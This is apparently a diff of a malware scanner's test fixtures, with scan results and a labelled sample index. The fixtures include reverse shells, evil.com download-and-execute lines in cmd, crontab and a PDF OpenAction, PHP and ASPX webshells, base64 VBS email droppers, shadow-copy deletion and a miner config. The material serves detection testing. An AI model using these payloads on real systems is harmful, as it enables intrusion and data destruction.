"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"ExtensionMismatch",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 6
},
{
"filename": "ransom_dropper.exe.txt",
"category": "勒索",
"description": "加密 API + 卷影删除 + 勒索信文件名",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"actual_rules": [
"C8_Ransomware_Encryption",
"C8_Ransomware_Note_Filename",
"C8_Ransomware_VolumeShadow",
"DoubleExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "persist_cron.sh",
"category": "持久化",
"description": "crontab 注入 wget/curl 下载执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"actual_rules": [
"C7_Linux_Persistence_Crontab",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "miner_config.json",
"category": "挖矿",
"description": "XMRig stratum+tcp 矿池配置",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"actual_rules": [
"C7_Linux_Miner_Generic"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "zip_traversal.zip",
"category": "攻击载体",
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PathTraversal"
],
"actual_rules": [
"PathTraversal",
"PathTraversalBlocked"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "broken.zip",
"category": "畸形文件",
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "phishing.eml",
"category": "钓鱼邮件",
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"actual_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 10
},
{
"filename": "normal.pdf",
"category": "阴性对照",
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_deploy.sh",
"category": "阴性对照",
"description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_readme.txt",
"category": "阴性对照",
"description": "正常纯文本文件",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "normal_report.docx",
"category": "阴性对照",
"description": "正常 Word 文档(无宏、无外链)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
}
]

BIN
tests/samples/broken.zip Normal file

Binary file not shown.

BIN
tests/samples/evil.iso Normal file

Binary file not shown.

BIN
tests/samples/evil_help.chm Normal file

Binary file not shown.

347
tests/samples/index.json Normal file
View File

@@ -0,0 +1,347 @@
{
"total": 34,
"generated_at": "2026-10-27T18:42:30.316542",
"samples": [
{
"category": "畸形文件",
"expected_verdict": "pass",
"expected_rules": [],
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"filename": "broken.zip",
"size": 125
},
{
"category": "ISO镜像",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
"filename": "evil.iso",
"size": 32775
},
{
"category": "CHM帮助",
"expected_verdict": "reject",
"expected_rules": [
"ChmWithScript"
],
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"filename": "evil_help.chm",
"size": 1691
},
{
"category": "Linux可执行",
"expected_verdict": "reject",
"expected_rules": [
"LinuxExecutable"
],
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"filename": "linux_malicious",
"size": 71
},
{
"category": "LOLBin",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
"filename": "lolbin.cmd",
"size": 114
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"VBAAutoExecShell",
"VBAAutoExec"
],
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"filename": "macro_alert.docm",
"size": 2586
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"DesktopFileAutoExec"
],
"description": ".desktop 文件恶意 Exec 字段",
"filename": "malicious.desktop",
"size": 114
},
{
"category": "PDF载荷",
"expected_verdict": "reject",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"filename": "malicious.pdf",
"size": 534
},
{
"category": "挖矿",
"expected_verdict": "suspicious",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
"filename": "miner_config.json",
"size": 123
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"filename": "normal.pdf",
"size": 439
},
{
"category": "阴性对照",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
"filename": "normal_deploy.sh",
"size": 155
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常纯文本文件",
"filename": "normal_readme.txt",
"size": 162
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 Word 文档(无宏、无外链)",
"filename": "normal_report.docx",
"size": 1212
},
{
"category": "OLE嵌入",
"expected_verdict": "pass",
"expected_rules": [
"OleToolsUnavailable"
],
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
"filename": "ole_dropper.doc",
"size": 1641
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"filename": "pe_downloader.exe",
"size": 1148
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"filename": "pe_injection.exe",
"size": 1129
},
{
"category": "持久化",
"expected_verdict": "reject",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"description": "crontab 注入 wget/curl 下载执行",
"filename": "persist_cron.sh",
"size": 95
},
{
"category": "钓鱼邮件",
"expected_verdict": "reject",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"filename": "phishing.eml",
"size": 1869
},
{
"category": "伪装",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
"filename": "photo.jpg.php",
"size": 29
},
{
"category": "勒索",
"expected_verdict": "reject",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"description": "加密 API + 卷影删除 + 勒索信文件名",
"filename": "ransom_dropper.exe.txt",
"size": 215
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.docx",
"size": 6656
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.xlsx",
"size": 6656
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
"filename": "shell_aspx.aspx",
"size": 169
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_Bash"
],
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"filename": "shell_bash_devtcp.sh",
"size": 51
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"description": "JSP Runtime.getRuntime().exec 命令执行",
"filename": "shell_jsp_runtime.jsp",
"size": 316
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_NC"
],
"description": "nc -e /bin/bash 反弹 Shell",
"filename": "shell_nc.sh",
"size": 42
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"description": "PHP oneliner eval + echo 组合",
"filename": "shell_php_eval.php",
"size": 40
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"description": "PHP base64 + assert 混淆",
"filename": "shell_php_obf.php",
"size": 61
},
{
"category": "Linux后门",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
"filename": "shell_python.py",
"size": 211
},
{
"category": "LNK",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
"filename": "shortcut.lnk",
"size": 143
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"AttachedTemplate"
],
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"filename": "template_backdoor.docx",
"size": 2176
},
{
"category": "Office宏",
"expected_verdict": "malicious",
"expected_rules": [
"VBAAutoExecShell"
],
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
"filename": "vba_autoexec.bas",
"size": 98
},
{
"category": "WPS宏",
"expected_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
"filename": "wps_macro.js",
"size": 142
},
{
"category": "攻击载体",
"expected_verdict": "reject",
"expected_rules": [
"PathTraversal"
],
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"filename": "zip_traversal.zip",
"size": 164
}
]
}

Binary file not shown.

2
tests/samples/lolbin.cmd Normal file
View File

@@ -0,0 +1,2 @@
@echo off
certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe

Binary file not shown.

View File

@@ -0,0 +1,5 @@
[Desktop Entry]
Type=Application
Name=Update
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
Terminal=false

View File

@@ -0,0 +1,31 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
endobj
2 0 obj
<</Type/Pages/Kids [4 0 R]/Count 1>>
endobj
3 0 obj
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
endobj
5 0 obj
<</Length 0>>
stream
endstream
endobj
xref
0 6
0000000000 65535 f
0000000011 00000 n
0000000120 00000 n
0000000200 00000 n
0000000320 00000 n
0000000450 00000 n
trailer
<</Size 6/Root 1 0 R>>
startxref
500
%%EOF

View File

@@ -0,0 +1,6 @@
{
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
"username": "4AsMe1",
"donate-level": 5,
"cpu-affinity": true
}

28
tests/samples/normal.pdf Normal file
View File

@@ -0,0 +1,28 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids [3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
endobj
4 0 obj
<</Length 45>>
stream
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000110 00000 n
0000000200 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
300
%%EOF

View File

@@ -0,0 +1,7 @@
#!/bin/bash
# 正常部署脚本,只有 git clone + npm install
set -e
git clone https://github.com/example/project.git
cd project
npm install
npm start

View File

@@ -0,0 +1,3 @@
这是一个正常的文本文件。
没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
仅供内部参考。

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#!/bin/bash
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -

View File

@@ -0,0 +1,47 @@
Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
MIME-Version: 1.0
From: IT Support <support@secure-update-login.com>
To: me@internal.com
Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
--===============3818226399663948811==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.pdf.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="form.js"
PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
--===============3818226399663948811==--

View File

@@ -0,0 +1 @@
<?php eval($_POST["cmd"]); ?>

View File

@@ -0,0 +1,5 @@
CryptEncrypt CryptDeriveKey BCryptEncrypt
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.

BIN
tests/samples/sealed.docx Normal file

Binary file not shown.

BIN
tests/samples/sealed.xlsx Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
}
</script>

Some files were not shown because too many files have changed in this diff Show More